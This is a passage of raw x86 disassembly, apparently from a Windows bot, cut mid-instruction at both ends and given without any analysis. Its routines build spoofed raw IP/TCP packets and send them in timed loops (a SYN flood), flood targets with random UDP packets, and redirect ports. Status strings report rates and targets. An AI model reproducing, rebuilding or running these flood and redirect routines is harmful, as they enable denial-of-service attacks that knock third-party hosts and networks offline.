edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6775[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_426CE0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426EB0 proc near ; CODE XREF: sub_401DD9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426EB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E10C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426EB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_426F38 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426F38: ; CODE XREF: sub_426F20+Dj mov eax, esi pop esi retn 4 sub_426F20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426F50 proc near ; CODE XREF: sub_4010FFj jmp sub_4014C4 sub_426F50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426F70 proc near ; CODE XREF: sub_401E92j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426F70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_401DB6 sub_426F70 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4270E0 proc near ; CODE XREF: sub_401BB3j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021A3 sub_4270E0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_427171 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_427171: ; CODE XREF: ___:00427151j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_4271A4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271A4: ; CODE XREF: ___:00427195j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_4271C7 loc_4271BA: ; CODE XREF: ___:0042736Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271C7: ; CODE XREF: ___:004271B8j mov ecx, [esp+0B4h] mov ebp, dword_50FC2C push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27F06DAh mov [esp+48h], eax mov al, byte_4D64F9 test al, al jz loc_42741B mov ebx, dword_50FABC mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_427265 ; --------------------------------------------------------------------------- xor esi, esi loc_427265: ; CODE XREF: ___:00427261j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax nop call near ptr 71AB2BC0h mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A28 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A28 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx call near ptr 71AB2C69h nop cmp eax, 0FFFFFFFFh jz loc_4271BA call near ptr 27F06DAh nop mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_427417 mov al, [esp+13h] test al, al jz short loc_4273B9 push 2710h push 3E8h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4273B9: ; CODE XREF: ___:0042739Ej push 0FFh push 0 call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 3FA7DBE8h, 0F9A09002h, 84004D64h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_427417: ; CODE XREF: ___:00427396j mov edi, [esp+18h] loc_42741B: ; CODE XREF: ___:0042724Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427520 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40187F mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_427541 dec eax or eax, 0FFFFFE00h inc eax loc_427541: ; CODE XREF: sub_427520+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BB3 sub_427520 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427590 proc near ; CODE XREF: sub_401785j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427590 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E11C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427590 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_427618 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427618: ; CODE XREF: sub_427600+Dj mov eax, esi pop esi retn 4 sub_427600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427630 proc near ; CODE XREF: sub_401159j jmp sub_4014C4 sub_427630 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427650 proc near ; CODE XREF: sub_401A05j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_401424 mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014D3 push eax call sub_401730 add esp, 14h test eax, eax jz short loc_42771E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_42771E: ; CODE XREF: sub_427650+A2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427650 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277C0 proc near ; CODE XREF: sub_401730j var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_436840 push esi push 11h push 2 push 2 nop call near ptr 71AB3B91h mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_427821 push esi call near ptr 71AB4FD4h nop test eax, eax jnz short loc_42781A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_42781A: ; CODE XREF: sub_4277C0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_427821: ; CODE XREF: sub_4277C0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_50FABC push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_42785D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call near ptr 71AB2B66h nop mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42785D: ; CODE XREF: sub_4277C0+77j push esi call near ptr 71AB2B66h nop cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_42787B mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42787B: ; CODE XREF: sub_4277C0+ACj cmp esi, 0FFFFh jle short loc_42788E mov [esp+28h+arg_FFE8], 0FFFFh loc_42788E: ; CODE XREF: sub_4277C0+9Bj ; sub_4277C0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_4278A4 mov [esp+28h+arg_FFE4], 1 loc_4278A4: ; CODE XREF: sub_4277C0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_4278DE loc_4278CB: ; CODE XREF: sub_4277C0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_4278CB loc_4278DE: ; CODE XREF: sub_4277C0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_427970 mov ebp, dword_50FC5C loc_4278F6: ; CODE XREF: sub_4277C0+1AEj mov al, byte_4D64F9 test al, al jz short loc_427970 mov esi, 0Bh loc_427904: ; CODE XREF: sub_4277C0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 2821BE4h dec esi jnz short loc_427904 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_42795B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+48h+var_36], ax loc_42795B: ; CODE XREF: sub_4277C0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_4278F6 loc_427970: ; CODE XREF: sub_4277C0+12Aj ; sub_4277C0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_4277C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4279F0 proc near ; CODE XREF: sub_40207Cj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A28 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_427A4D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: sub_4279F0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jnz short loc_427A6D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A6D: ; CODE XREF: sub_4279F0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi call near ptr 71AB2C69h nop push esi mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_4279F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427AD0 proc near ; CODE XREF: sub_401D9Dj var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_436840 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40187F mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40187F mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_446F70 mov eax, edi loc_427B37: ; CODE XREF: sub_427AD0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_427B5B test cl, cl jz short loc_427B57 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_427B5B add eax, 2 add esi, 2 test cl, cl jnz short loc_427B37 loc_427B57: ; CODE XREF: sub_427AD0+71j xor eax, eax jmp short loc_427B60 ; --------------------------------------------------------------------------- loc_427B5B: ; CODE XREF: sub_427AD0+6Dj ; sub_427AD0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_427B60: ; CODE XREF: sub_427AD0+89j cmp eax, ebx jnz short loc_427BB3 mov ebp, dword_4D6107 cmp ebp, ebx mov [esp+10h], ebp jz short loc_427B77 cmp ebp, 0FFFFFFFFh jnz short loc_427BBE loc_427B77: ; CODE XREF: sub_427AD0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax nop call near ptr 71AB50C8h lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_427BBE ; --------------------------------------------------------------------------- loc_427BB3: ; CODE XREF: sub_427AD0+92j push edi call sub_40187F add esp, 4 mov ebp, eax loc_427BBE: ; CODE XREF: sub_427AD0+A5j ; sub_427AD0+E1j cmp ebp, ebx jz short loc_427BC7 cmp ebp, 0FFFFFFFFh jnz short loc_427BCD loc_427BC7: ; CODE XREF: sub_427AD0+F0j mov ebp, dword_4D6107 loc_427BCD: ; CODE XREF: sub_427AD0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_427D0D lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_427D0D lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_427D0D push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_427D0D mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_427CF3 mov ebx, dword_50FC90 loc_427C63: ; CODE XREF: sub_427AD0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_427CE3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_427CBE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_427CDB ; --------------------------------------------------------------------------- loc_427CBE: ; CODE XREF: sub_427AD0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_427CE3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_427CDB: ; CODE XREF: sub_427AD0+1ECj call sub_40207C add esp, 8 loc_427CE3: ; CODE XREF: sub_427AD0+1C0j ; sub_427AD0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_427C63 loc_427CF3: ; CODE XREF: sub_427AD0+187j mov edx, dword_50FA84 add edx, 20h push edx call near ptr 77C3EEF6h nop add esp, 4 push esi call near ptr 71AB9639h nop loc_427D0D: ; CODE XREF: sub_427AD0+11Dj ; sub_427AD0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_427AD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427DC0 proc near ; CODE XREF: sub_401889j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427DC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_444F40 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E12C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427DC0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427E30 proc near ; CODE XREF: sub_401F82j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427E30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427EF0 proc near ; CODE XREF: sub_40179Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427EF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427EF0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427FC0: ; CODE XREF: ___:00401A14j ; ___:loc_402068j push esi mov esi, ecx call sub_40179E test byte ptr [esp+8], 1 jz short loc_427FD8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427FD8: ; CODE XREF: ___:00427FCDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015F5 test [esp+4+arg_0], 1 jz short loc_428008 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428008: ; CODE XREF: sub_427FF0+Dj mov eax, esi pop esi retn 4 sub_427FF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428020 proc near ; CODE XREF: sub_4015F5j jmp sub_40179E sub_428020 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428040 proc near ; CODE XREF: sub_4015AFj push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60B5 call sub_401848 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_401D9D add esp, 10h mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_428040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428160 proc near ; CODE XREF: sub_401884j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 